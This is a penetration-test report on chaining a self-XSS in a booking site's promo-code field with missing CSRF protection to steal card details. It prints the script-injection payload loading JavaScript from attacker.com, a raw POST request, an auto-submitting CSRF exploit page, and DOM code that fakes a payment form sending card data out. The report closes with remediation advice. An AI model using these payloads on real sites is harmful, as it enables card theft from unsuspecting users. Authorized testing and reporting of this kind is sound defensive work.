This is a report I created for one of the engagements I performed recently. The goal of the engagement was to find out if there is a way to steal credit card details by using client side vulnerabilities. Everything after this is a report as a whole.
Scope of work
I was engaged to perform a restricted depth first assessment of a web application “XYZ” to verify if there is a way to exploit client side vulnerabilities to steal credit card information of the users. As a result of the engagement, I was successful to exploit a self cross site scripting chained with cross site request forgery to steal the victims credit card details. This document details my approaches , findings and ways to remediate the vulnerabilities.
Scope | Goal |
---|---|
https://subdomain.victim.com/ | Steal Credit Card Info using client side vulnerabilities |
Restrictions
- The assessment only allowed client side vulnerabilities
- Two client side issues were found and chained to reach the goal. I did not check for others.
Legends
attacker.com and victim.com in this document refer to victims site and attackers site respectively.
Proof of concept
Try the following
- Open subdomain.victim.com
- Visit attacker.com/redacted/steal-card.html
- Click on “edit” and “Proceed”
- Fill up the details
- Credit card information gets leaked to “https://www.attacker.com/redacted/redacted.php”
There is a section at the end on how to fix the vulnerability.
Technical details
Everything documented under “technical details” is very thorough.
There is a field where user can input promo code
However, there is a restriction in the input field defaulted to 20 characters at most. It can simply be changed by editing html manually. Once we submit the entry in promo code , it gets passed to the server and response is fetched from the server by capitalizing certain characters. For eg. if we try to submit this
" onfocus="alert(1)" autofocus a="
It gets converted to capital letters. Of course, ALERT(1) is not a valid javascript.
Now we need to bypass this. We need to get out of the input tag and inject our custom script in there. We can load the script from third party sites. Whatever value is passed in the promo code is sent off to the server, and returned back to the client inside the input field.
If we enter “Canary” and click on “Check Availability” then we get the following response.
The response here does not contain the word “Canary” but it can be seen in the html source code.
As seen in the screenshot above our original input “Canary” got converted to “CANARY” in the input field
<input type="text" name="promo" id="promo" value="CANARY" size="7">
To break out of the input field we need to input our payload in the promo code as :
"><script src="https://www.attacker.com/redacted/redacted.js"></script><a href="
Everything inside the double quote gets converted to upper case but it does not matter because the domain names are case insensitive.
Once we enter that payload, we get our JS executed.
But this is self exploitation meaning that we can’t do anything with this to attack the victim. We can combine this with another vulnerability “Lack of CSRF protection” to make it very impactful. Whenever “Check Availability” is clicked, it makes a POST request to
POST /redacted/redacted.php HTTP/1.1
Host: subdomain.victim.com
Cookie: PHPSESSID=7fd2ff9c776c0118740d2d692154f1705; _ga=GA1.2.1055942177.1649391466; _gid=GA1.2.979618411.1649391466; _gat_gtag_UA_3776507_2=1
User-Agent: xyz
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 170
Origin: https://subdomain.victim.com
Referer: https://subdomain.victim.com/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
room_type=&check_in_date='&check_out_date=23-Apr-2022&check_in_date_place_holder=April+15%2C+2022&check_out_date_placeholder=April+23%2C+2022&number_adults=3&promo=<payload here>
We can change this into an html form which up on loading gets our payload executed. Following is the html code :
<!DOCTYPE html>
<html>
<head>
<script type="text/javascript">
window.onload=function(){
window.open("https://subdomain.victim.com/02/site","_blank");
function submitform(){
document.forms["exploit"].submit();
}
submitform();
}
</script>
</head>
<body>
<form action="https://subdomain.victim.com/redacted/redacted.php" method="POST" id="exploit" name="exploit">
<input type="submit" value="submit">
<input type="hidden" name="" value="">
<input type="hidden" name="check_in_date" value="13-Apr-2022">
<input type="hidden" name="check_out_date" value="14-Apr-2022">
<input type="hidden" name="check_in_date_place_holder" value="April+13%2C+2022">
<input type="hidden" name="check_out_date_placeholder" value="April+14%2C+2022">
<input type="hidden" name="promo" value=""><script src="https://redacted">
</form>
</body>
</html>
The value of promo in the html above is html encoded version of
"><script src="https://www.attacker.com/redacted/redacted.js"></script> <a h="
Now the attacker hosts the html file in their site and sends the link to the victim. Once the victim clicks on the link, JS referenced from https://www.attacker.com/redacted/redacted.js gets executed which harvests the credit card details.
Since everything was capitalized I initially used jsfuck to convert the script so that the capitalization would not be an issue. Later I came up with using script tags as domain names don’t have case sensitivity.
Breakdown of the payload
Once the victim clicks on the link , the following happens in a sequential order :
- The victim is taken to https://subdomain.victim.com/redacted/redacted.php
- Javascript from https://www.attacker.com/redacted/redacted.js is loaded
- The content of “Booking Summary” is changed
Original summary is indicated inside the rectangle above but it’s changed to “You will be required to fill up more details about the room once you proceed to the next step. Please click on Proceed
“
document.getElementsByTagName('em')[0].innerHTML = "You will be required to fill up more details about the room once you proceed to the next step. Please click on Proceed";
- “Availability” button gets disabled
document.getElementById('searchc').disabled = true
- “Check Availability” gets changed to “Proceed”
document.getElementsByClassName('btn btn-primary btn-submit-fix')[0].value = "Proceed"
- Once “Proceed” is clicked, the content inside “Summary” is replaced with the html which asks the users to fill up the credit card details. The URL of the page is changed to /payment.php which is just the client side and the highlight is shifted to the “Payment” button to fool the victim. Since the site already seems to use jquery , I used jquerys default functions to manipulate DOM.
window.history.pushState("", "", "/payment.php");
document.getElementById('searchch').classList.remove("btn-primary");
document.getElementById('searchch').classList.add("btn-default");
document.getElementById('paymentch').classList.remove("btn-default");
document.getElementById('paymentch').classList.add("btn-primary");
document.getElementsByClassName('container')[4].id = "test-id";
$("#test-id").html(steal_cc);
Once user clicks on edit and subsequently on “Proceed” , he is taken to the payment page.
Now , the victim fills up the details
When the form is submitted, the attacker gets all the payment details.
Details leaked :
firstName=redacted+&lastName=redacted&address=redacted&city=redacted&state=redacted&country=redacted&zip_code=redacted&phone_number=redacted&mobile_number=&email=redacted&comments=&name_on_card=redacted&car_number=redacted&credit_card_type=&car_cvv=redacted&exp_month=redacted&exp_year=redacted&accept_terms=on&book=Confirm+and+Book
So this way the attacker can successfully steal the payment details of the victim.
Note : I could spend more time to make the exploit very reliable. I stopped it because it’s good enough to showcase the exploit works to steal the credit card details.
Fixation
The vulnerability can be fixed by sanitizing the users input passed in the “Promo” code. Consider doing the following
- Make sure that Promo Code contains only characters in the range [a-zA-Z-0-9] by design
preg_replace("/[^A-Za-z0-9 ]/g", '', $string);
- Remove all other characters from the backend. Alternatively the value of “Promo” can be passed through php htmlspecialchars function which encodes special characters to html entities. Reference code :
<?php
$cleanPromo = htmlspecialchars($_POST['promo'], ENT_QUOTES);
echo $cleanPromo;
?>
- Consider putting a limit to the length of the
promo
parameter.
<?php
$promo = substr($promo, 0, 10); // where 10 is the max number of characters in the promo code
?>
Consider using ‘Content Security Policy’ to minimize the impacts of possible cross site scripting. Implementing CSP requires a thorough understanding of how the web application works and loads various scripts , images , stylesheets etc. It can break the production if not implemented correctly. I can help you with the implementation of CSP if it’s needed.
Note : There might be other parameters suffering from same issue. I only checked “promo”
Closure
I would like to thank “redacted” for assisting me with details throughout the engagement. Only client side vulnerabilities were checked which covered two issues combined to steal the credit card details. There might be other vulnerabilities especially in the server and network side. I would highly recommend xyz to perform thorough vulnerability and penetration testing to cover breadth first vulnerabilities landscape.